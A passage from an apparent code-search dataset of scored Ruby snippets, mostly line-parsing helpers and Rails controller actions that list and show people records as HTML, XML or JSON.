"0.597746", "text": "def do_line_item!\n user = ::User.find_by(rfid: rfid)\n LineItem.from_payload(user, line_item_params)\n rescue ActiveRecord::RecordInvalid => ex\n raise LineItemError, ex.record\n end", "title": "" }, { "docid": "5935e9d955460fa034471fb81056a57a", "score": "0.5951506", "text": "def parse_line(line, lineno)\n case @state\n when :comment\n if line =~ /^%/\n @comment << line[2..-1]\n else\n @comment = @comment.join(\"\\n\")\n @state = :in_header\n parse_line(line, lineno)\n end\n when :in_header\n case line.downcase\n when /^@relation/i\n parse_relation_definition(line, lineno)\n when /^@attribute/i\n parse_attribute_definition(line, lineno)\n when /^@data/i\n @state = :data_section\n end\n when :data_section\n unless line =~ /^%/ or line.strip.size == 0\n parse_data(line, lineno)\n end\n end\n end", "title": "" }, { "docid": "b855634de2ab3a0edd468e9477f5aad7", "score": "0.5948066", "text": "def parse(line)\n # using line[1, -1] because the leading square bracket is not\n # removed during the split.\n timestamp, entity_with_id, target, skill_with_id, result = line[1..-1].split /\\]\\s\\[/\n entity_name, _ = entity_with_id.split /\\s\\{/\n skill, _ = skill_with_id.split /\\s\\{/\n [timestamp, entity_name, skill, result]\n rescue ArgumentError => e # Will trigger on the first split. Be\n # sure not to cause side effects\n # before this has a chance to trigger\n # as it calls #parse again with a\n # repaired string\n if e.message =~ /invalid byte sequence/i\n properly_encoded_line = line.chars.collect do |i|\n i.valid_encoding? ? i : '?'\n end.join\n parse properly_encoded_line\n else\n raise e\n end\n end", "title": "" }, { "docid": "6c21c399d54c97bc75364062849a9e81", "score": "0.59409857", "text": "def parse(string)\n @first, @last = nil, nil\n first, last = string.split(ITEM_SEPARATOR, 2)\n last = first if last.nil? # single \"A\" means \"A-A\"\n\n @first = @item_class.parse(first) unless first.to_s == \"\"\n @last = @item_class.parse(last) unless last.to_s == \"\"\n return self\n end", "title": "" }, { "docid": "596e41ba8c1f106eefeeae549ca8994a", "score": "0.59355175", "text": "def extract_item line\n item = line.match(/^ *([0-9\\.]+)/)\n return nil if item.nil?\n return item[1]\n end", "title": "" }, { "docid": "b4eab5c209f0b1cac4cdbc85b34d481c", "score": "0.5935422", "text": "def parse_line(line)\n return nil unless line\n return nil if line.length < 6\n\n # dump raw data\n puts line if $DEBUG\n\n # split gnss data\n items = line.chomp.tr('*', ',').split(',')\n return nil if items.nil? || items.size == 0 || items[0][0] != '$'\n\n type = items[0][3, 3].to_sym\n data = case type\n when :GGA; parse_gga(items)\n when :GSA; parse_gsa(items)\n when :GSV; parse_gsv(items)\n when :RMC; parse_rmc(items)\n when :VTG; parse_vtg(items)\n when :ZDA; parse_zda(items)\n else nil\n end\n [type, data]\n end", "title": "" }, { "docid": "9db0f45596c6178ee1a3d0ec547d06a6", "score": "0.59325373", "text": "def parse_line!(line, line_num:, state:)\n return :unknown if line == \"\"\n\n # If we're in an unknown state, look for a header to tell us what we're\n # parsing next.\n if state == :unknown\n PARSING_STAGES.each do |stage|\n if line == self.class.const_get(\"#{stage.id.to_s.upcase}_HEADER\")\n return \"reading_#{stage.id}\".to_sym\n end\n end\n\n # If we made it here, we couldn't recognize a header.\n bad_line(\"a valid header\", line_num)\n end\n\n # If we made it this far, we're parsing objects in a class.\n stage = PARSING_STAGES.find { |s| state == \"reading_#{s.id}\".to_sym }\n\n begin\n instance_variable_get(\"@#{stage.id}\") << stage.klass.deserialize(line)\n rescue StandardError => e\n bad_line(e, line_num)\n end\n\n state\n end", "title": "" }, { "docid": "1b16c3b5ef9347819cbef6793bff0450", "score": "0.5923827", "text": "def parse(item_descr)\r\n item = OpenStruct.new\r\n pieces = item_descr.split(' ')\r\n\r\n # where \"n\" is the length of the array \"pieces\":\r\n # we expect pieces[0] to be a non-zero integer\r\n # we expect pieces[n-2] to be the text \"at\"\r\n # we expect pieces[n-1] to be the cost (a parseable real)\r\n # everything between [1..n-3] is the item name, at least one value must exist\r\n\r\n n = pieces.count\r\n assert('Expected item in the form [qty] [item name] at [cost]') {n >= 4}\r\n assert('Expected item in the form [qty] [item name] at [cost] -- missing \"at\"') {pieces[n-2] == 'at'}\r\n qty = pieces[0]\r\n cost = pieces[n-1]\r\n\r\n # check for the text \"imported\" and set the imported flag to true if so, and\r\n # remove the \"imported\" from the item name.\r\n # Check for the text \"imported\" occurring anywhere in the description, accounting for casing.\r\n imported_idx = (pieces.map {|p| p.downcase}).index('imported')\r\n # Set the imported flag.\r\n item.is_imported = imported_idx.nil? ? false : true\r\n # Reconstitute the item name, without the text \"imported\" if it occurs.\r\n item.is_imported ? item.item_name = (pieces[1..imported_idx-1] << pieces[imported_idx+1..n-3]).join(' ') : item.item_name = pieces[1..n-3].join(' ')\r\n\r\n assert('Quantity is not an integer') {qty.is_integer?}\r\n item.iqty = qty.to_i\r\n assert('Quantity must be greater than 0') {item.iqty > 0}\r\n assert('Cost is not a number') {cost.is_real?}\r\n item.fcost = cost.to_f\r\n assert('Cost must be greater than 0') {item.fcost > 0}\r\n\r\n return item\r\nend", "title": "" }, { "docid": "a4eea90226496fb187e14ac535acea8c", "score": "0.59159327", "text": "def parse_line(line)\n\t\t\tmatches = Regexp.new('^DVBStreamer/([\\d\\.]+)/(\\d+)\\s(.*)\\n$').match(line);\n\t\t\t\n\t\t\tif matches.nil?\n\t\t\t\t## Not the end of the response yet, just store the line\n\t\t\t\[email protected](line.chomp)\n\t\t\telse\n\t\t\t\t## End of the reponse\n\t\t\t\t@version = matches[1]\n\t\t\t\t@code = matches[2].to_i\n\t\t\t\t@status = matches[3]\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "2acb51822ebcfbc003f20472413076c0", "score": "0.5915793", "text": "def line_item_builder\n LineItemBuilder.new(line_items)\n end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.59155375", "text": "def process_line(line); end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.59155375", "text": "def process_line(line); end", "title": "" }, { "docid": "fe269a53915cfb2e2494f748e0e23777", "score": "0.59155375", "text": "def process_line(line); end", "title": "" }, { "docid": "6b816479fc57c511b91c9c768fa40bf9", "score": "0.58992165", "text": "def parse_line(line)\n matches = line.match(/^\\s*(\\S+):(.*)/)\n [matches.captures[0], matches.captures[1].strip]\n end", "title": "" }, { "docid": "b490c8d8cbd91ede8db99a9b620ad5e7", "score": "0.58916575", "text": "def parse\n @lines.shift\n @lines\n end", "title": "" }, { "docid": "5cccbcd37a842ec01c078561d10df679", "score": "0.58830166", "text": "def parse_for(item_name)\n return_val = false\n @story_lines.each_with_index do |line, i|\n if start_of_value?(line, item_name)\n if starts_with_whitespace?(@story_lines[i+1])\n @attributes[item_name] = @story_lines[i+1].strip\n return_val = true\n else\n @attributes.delete(item_name)\n end\n end\n end\n return_val\n end", "title": "" }, { "docid": "efd16fc7484db4f7e6ac46c89fa8b7aa", "score": "0.5865895", "text": "def parse_line(line)\n ln, fn, mi, sex, dob, fav_color = line.split(' ')\n LineParser.to_h(fn, ln, mi, sex, fav_color, parse_dob(dob))\n end", "title": "" }, { "docid": "cb94057d89d35025d882631313103d55", "score": "0.5844176", "text": "def get_item_for_line line\n index = (line - @hash[:first]) / @hash[:diff]\n @hash[:articles][index]\n end", "title": "" }, { "docid": "87cea06b72b8e1a0d96302a6c9083aef", "score": "0.58438784", "text": "def add(item)\n line_item = line_items.build\n line_item.item = item\n line_item\n end", "title": "" }, { "docid": "299e5e62cb841e2e3d5c5f2ba02c8e3e", "score": "0.5842448", "text": "def parse_line(line)\n row_set = Set.new\n\n line.split(' ').each do |item_id|\n row_set.add(item_id.to_i)\n end\n\n rows << row_set\n end", "title": "" }, { "docid": "3c45586c73341201f74d353b1e885c58", "score": "0.58269274", "text": "def from(item)\n deparse_item(item)\n end", "title": "" }, { "docid": "c881b494e84182c056e5b313833c2993", "score": "0.58158886", "text": "def set_line_item\n\t @line_item = LineItem.find(params[:id])\n\t end", "title": "" }, { "docid": "3f5e95a4df6e156ca08a59fc40a9d01a", "score": "0.58030945", "text": "def set_line_item\n @line_item = LineItem.find(params[:line_item_ids])\n end", "title": "" }, { "docid": "86857b49980234f4bf0f4e0222e98744", "score": "0.58025295", "text": "def show\n @line_item = LineItem.new(item: @item)\n end", "title": "" }, { "docid": "c29a6af457ae5cd6bbbfec5a9f79bcb5", "score": "0.5795622", "text": "def parse_line(line)\n log_input(line)\n\n line.gsub!(/(\\r|\\n)/, '')\n\n begin\n return args = Rex::Parser::Arguments.from_s(line)\n rescue ::ArgumentError\n print_error(\"Parse error: #{$!}\")\n end\n\n return []\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" }, { "docid": "688da4d47872ea5536653f58bab5ad12", "score": "0.5791559", "text": "def set_line_item\n @line_item = LineItem.find(params[:id])\n end", "title": "" } ]
dc9cc87a52d4107bf88728a2c53d17f7
GET /people GET /people.xml
[ { "docid": "be14f9f18a7f2ed43980f6b4dab24921", "score": "0.7083019", "text": "def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" } ]
[ { "docid": "ae9600dafedd8bb0cf0eed9d52406aca", "score": "0.7331616", "text": "def show\n @people = People.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "342cab0366835ee06fbf747ce5a45d5c", "score": "0.70227545", "text": "def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend", "title": "" }, { "docid": "d7657f567f01c4dbd811e9029adaa595", "score": "0.6864697", "text": "def show\n @person = Person.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person.to_xml}\n end\n end", "title": "" }, { "docid": "2561ddabafd4e2ea2cf446ec36d7e70e", "score": "0.6797137", "text": "def index\n\t\t@people = Person.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @people }\n\t\tend\n\tend", "title": "" }, { "docid": "56af7d2a20567be16dfb83b6262905da", "score": "0.6750198", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "56af7d2a20567be16dfb83b6262905da", "score": "0.6750198", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "56af7d2a20567be16dfb83b6262905da", "score": "0.6750198", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "56af7d2a20567be16dfb83b6262905da", "score": "0.6750198", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "ffa5e14ecd34aa67627419ee55ed7f60", "score": "0.6719453", "text": "def index\n @people = Person.all\n @title = \"peoples\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "b45fd94547933e5fb7cde2cb7560dbb7", "score": "0.67168146", "text": "def show\n @person = Person.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "ede31418e443dd243fa19773a1e4822c", "score": "0.67131406", "text": "def people\n @people = Person.find(:all, :order => 'family_name, given_name')\n\n respond_to do |format|\n format.html # people.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "2b0ce48ad0196426a10eed4db8312442", "score": "0.67020416", "text": "def index\n @people = Person.all\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # index.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "c862be606ab5c53c8421c523a35121d6", "score": "0.6690343", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "f2827fe58cddf6233ecffc8baf2715e2", "score": "0.66593194", "text": "def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end", "title": "" }, { "docid": "9400df54c819b5c90cd89adea8c5c9e7", "score": "0.66204417", "text": "def show\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @person }\n\t\tend\n\tend", "title": "" }, { "docid": "dc87dd46d8caae3326c2f584abb581ec", "score": "0.6567963", "text": "def show\n @person = Person.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => nil }\n end\n end", "title": "" }, { "docid": "d2ada6adcfc58e18dec11a3b7d387e6a", "score": "0.6471707", "text": "def index\n @root = \"people\"\n \n @people = Person.find(:all)\n end", "title": "" }, { "docid": "e385dbbc66b18d2cc68aaa5bf83b2798", "score": "0.64599514", "text": "def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end", "title": "" }, { "docid": "8b3479bfe4073258545f5a4fa7c60ec2", "score": "0.64597946", "text": "def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end", "title": "" }, { "docid": "8b3479bfe4073258545f5a4fa7c60ec2", "score": "0.64597946", "text": "def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end", "title": "" }, { "docid": "aa9b2e462c3d581ad31432ba3ed9efaf", "score": "0.64085394", "text": "def show\n @person = Person.find(params[:id])\n @title = \"peoples\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "52efae3476e59405e16f591574e4ea6a", "score": "0.6407391", "text": "def index\n @classified_people = ClassifiedPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @classified_people }\n end\n end", "title": "" }, { "docid": "aa1e267f8b74256c11967d3a426f24e6", "score": "0.63853437", "text": "def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { respond_with @person }\n end\n end", "title": "" }, { "docid": "7d6c9ae833bb2ab1609e9014b55ae39c", "score": "0.6339552", "text": "def show\n @user = @person.user\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @user.to_xml }\n end\n end", "title": "" }, { "docid": "fac51a6a8754d57231b39fdaee39edfb", "score": "0.6310415", "text": "def get_info\r\n return @infoxml unless @infoxml.nil?\r\n \r\n response = Net::Flickr.instance().request('flickr.people.getInfo', 'user_id' => @id)\r\n \r\n return @infoxml = response.at('person')\r\n end", "title": "" }, { "docid": "0cef375b6cf5b6e24f15895938a93e36", "score": "0.6303879", "text": "def show\n @person = Person.find(params[:id])\n @all_tags = @organization.tag_list\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "156ffeeb9dfbc9b33c5e4e53037c1d05", "score": "0.6287141", "text": "def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end", "title": "" }, { "docid": "1939158dbf274e2328ccc49c80db56f6", "score": "0.62710166", "text": "def index\n @simpeople = Simperson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @simpeople }\n end\n end", "title": "" }, { "docid": "e77041c742d96e3a0cc42531439bbe91", "score": "0.6264314", "text": "def friends\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id]) \n @persons = @person.get_all_friends\n \n respond_to do |format|\n format.html # friends.html.erb\n format.xml { render :xml => @persons }\n end\n \n end", "title": "" }, { "docid": "3518f067b6a4bba3771541665c70a43f", "score": "0.6236306", "text": "def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "03ddf2831445cb26eba4362f966249b2", "score": "0.62348866", "text": "def show\n respond_to do |format|\n format.html\n format.json {render json: @person }\n format.xml {render xml: @person}\n format.yaml {render text: @person.to_yaml,\n content_type: 'text/yaml'}\n end\n end", "title": "" }, { "docid": "150cfc831bcc852c8b4ad7f5b77b405c", "score": "0.6193632", "text": "def show\n @personal = Personal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personal }\n end\n end", "title": "" }, { "docid": "e98dc86a7e2fa8eb2dd41b6cc859be16", "score": "0.6187201", "text": "def index\n @proposed_people = ProposedPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @proposed_people }\n end\n end", "title": "" }, { "docid": "73d415fc7c91157ccf51bdf5d639956a", "score": "0.6158868", "text": "def index\n respond_with(@people)\n end", "title": "" }, { "docid": "40f7e420acb5aa24aff56a9b554bf7db", "score": "0.6145936", "text": "def show\n respond_to do |format|\n format.html\n format.json { render :json => @person_hash }\n format.xml { render :xml => @person_hash }\n end\n end", "title": "" }, { "docid": "639d7f66b7be7a01815180f5a12a789d", "score": "0.61398435", "text": "def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end", "title": "" }, { "docid": "77942ed4c8bfc310ba7b9d4b1e3e47a9", "score": "0.6128029", "text": "def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end", "title": "" }, { "docid": "6f38134f9793e550e69e191618f60480", "score": "0.61210024", "text": "def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end", "title": "" }, { "docid": "6e664a9a5750fd05cd20e86ea12a3db6", "score": "0.61197096", "text": "def index\n \t@people = Person.all\n respond_to do |format|\n format.json { render json: @people, status: :ok }\n end\n end", "title": "" }, { "docid": "0cb4b1e8863ce7f568bb9f668f0d49cc", "score": "0.6114367", "text": "def get_people_info(page_size=2)\n\t\toptions = {\n\t\t\theaders: headers,\n\t\t\tquery: { page_size: page_size }\n\t\t}\n\t\tresult = self.class.get(\"/people/#{display_name}/#{email_address}/#{title}\", options)\n\tend", "title": "" }, { "docid": "7a5bdc65dc7450f09700854f01ba7b46", "score": "0.6111636", "text": "def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend", "title": "" }, { "docid": "5ed18a5d52bf3832249fce1a1774e60f", "score": "0.60917026", "text": "def index\n @people = Person.all\n respond_with(@people)\n end", "title": "" }, { "docid": "cd022784771b64084239913136954d60", "score": "0.60892344", "text": "def show\n @person = Person.find(params[:id])\n @project = Project.find(params[:project_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "abb834335944f6690e8d8bcb06ab515a", "score": "0.6078896", "text": "def index\n @people = Person.paginate(:page => params[:offset], :per_page => 20)\n\n people_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @people_hash }\n format.xml { render :xml => @people_hash }\n end\n end", "title": "" }, { "docid": "6aa7b9b9ef86e194d6b805d6e0235d46", "score": "0.60722387", "text": "def show\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @persona }\n end\n end", "title": "" }, { "docid": "136709639c64ba109f58a993354ff101", "score": "0.6054717", "text": "def show\n @research = Research.find(params[:id])\n @page_title = \"Hello Congress research request: \" + @research.name\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end", "title": "" }, { "docid": "78c91061ae58bb0c2de71a1158e05c68", "score": "0.60506046", "text": "def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end", "title": "" }, { "docid": "ae5be2d2c9f478406807979c23bebd38", "score": "0.6036735", "text": "def index\n @users = User.all\n render :xml => @users\n end", "title": "" }, { "docid": "f0b73b7dd4f32fb83fc526eadfba1ba8", "score": "0.6034779", "text": "def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "f0b73b7dd4f32fb83fc526eadfba1ba8", "score": "0.6034779", "text": "def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end", "title": "" }, { "docid": "7c33e6946d800d4cac45ad9dae4194b8", "score": "0.60313845", "text": "def fetch_people\n @people = People.find(params[:id])\n end", "title": "" }, { "docid": "da687e048c2d178b719e21225e5a659c", "score": "0.6031123", "text": "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @person.to_xml }\n end\n end", "title": "" }, { "docid": "be1b7b36f7e8bd441e7507764ce5b199", "score": "0.6030905", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "368542f198723fd447a17f247b9fd80a", "score": "0.6027655", "text": "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "title": "" }, { "docid": "07483146267e2cd8690fede7327e056d", "score": "0.60203034", "text": "def show\n @classified_person = ClassifiedPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classified_person }\n end\n end", "title": "" }, { "docid": "ca0b0e775837d8c77a4f5e23a0917cc9", "score": "0.600842", "text": "def download_people_data\n print \"Getting IDs of articles about people...\\n\"\n PeopleGetter.new([MEN_URL, WOMEN_URL]).result\n end", "title": "" }, { "docid": "29c57dabcbb985b8ae65254ff6213556", "score": "0.6006662", "text": "def show\n @person_contact = PersonContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person_contact }\n end\n end", "title": "" }, { "docid": "920d64bb13b67a92bebd8d4774f9d066", "score": "0.6006629", "text": "def index\n @users = User.find(:all, :order => 'name ASC')\n respond_to do |format|\n format.html \n format.xml { @users.to_xml }\n end\n end", "title": "" }, { "docid": "87f6fa826a80ab48129feeb504f84109", "score": "0.5996735", "text": "def index\n @profiles = Profile.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @profiles }\n end\n end", "title": "" }, { "docid": "d43318a538ae7cf5999787a786d13953", "score": "0.5965843", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "d43318a538ae7cf5999787a786d13953", "score": "0.5965843", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "d43318a538ae7cf5999787a786d13953", "score": "0.5965843", "text": "def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "e6f281454d2e409ec57332d30b51a43d", "score": "0.5962072", "text": "def index\n @people = User.order(:nickname).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.haml\n 